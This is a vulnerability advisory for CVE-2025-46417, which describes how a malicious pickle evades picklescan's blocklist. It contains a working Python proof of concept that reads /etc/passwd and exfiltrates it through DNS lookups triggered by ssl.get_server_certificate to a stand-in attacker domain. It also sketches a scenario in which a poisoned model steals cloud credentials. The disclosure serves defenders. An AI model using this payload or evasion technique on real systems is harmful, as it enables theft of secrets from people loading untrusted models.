CVE-2025-46417: picklescan: scanner bypass enables DNS data exfiltration

### Summary Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization. ### Details picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors. The payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content. The payload executes the following steps: - Reads sensitive local file content using `linecache` module - Encodes the data for DNS exfiltration - Constructs a malicious domain name using a third party service `dnslog.cn` - Triggers a DNS resolution via `ssl.get_server_certificate` - Leaks the encoded file content to the attacker ### PoC Before running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f"{subdomain}.ctmc2q.dnslog.cn"`. ```python import numpy as np def create_malicious_model(): # Define the payload class class DNSLogPayload: def __reduce__(self): # Step 1: read a line from /etc/passwd linecache = __import__("linecache") first_line = linecache.getline("/etc/passwd", 1).strip() # Step 2: Sanitize and embed it as a DNS subdomain subdomain = first_line.replace(":", "_").replace("/", "_") fqdn = f"{subdomain}.dns-logger.invalid" # Step 3: Use ssl.get_server_certificate to trigger DNS resolution ssl_mod = __import__("ssl") return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),)) # Wrap the payload in a NumPy object array arr = np.array([DNSLogPayload()], dtype=object) # Save to .npy file np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True) def load_model(model): try: return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1) except Exception: raise ValueError("Invalid file") if __name__ == "__main__": create_malicious_model() model = "dnslog_trigger_payload.npy" print("[i] Loading and executing the model") data = load_model(model) ``` ### Impact 1. Evade detection: Bypasses the latest version of picklescan's blacklist. 2. Exfiltrate sensitive local files to an attacker controlled DNS

An adversary publishes a convincing model checkpoint to a public model hub or research repository — perhaps a fine-tuned variant of a popular open-source model. An ML engineer downloads it for evaluation and runs picklescan (pre-0.0.25) as part of their standard intake workflow. Picklescan reports the file as clean. The engineer loads the model in their training environment, which has access to cloud provider credential files and SSH keys. On load, the embedded payload uses linecache to read ~/.aws/credentials, encodes the content as DNS-safe subdomains, and calls ssl.get_server_certificate() to trigger DNS resolution to an attacker-controlled domain. The credentials arrive at the attacker's DNS server within milliseconds, long before the engineer notices anything unusual.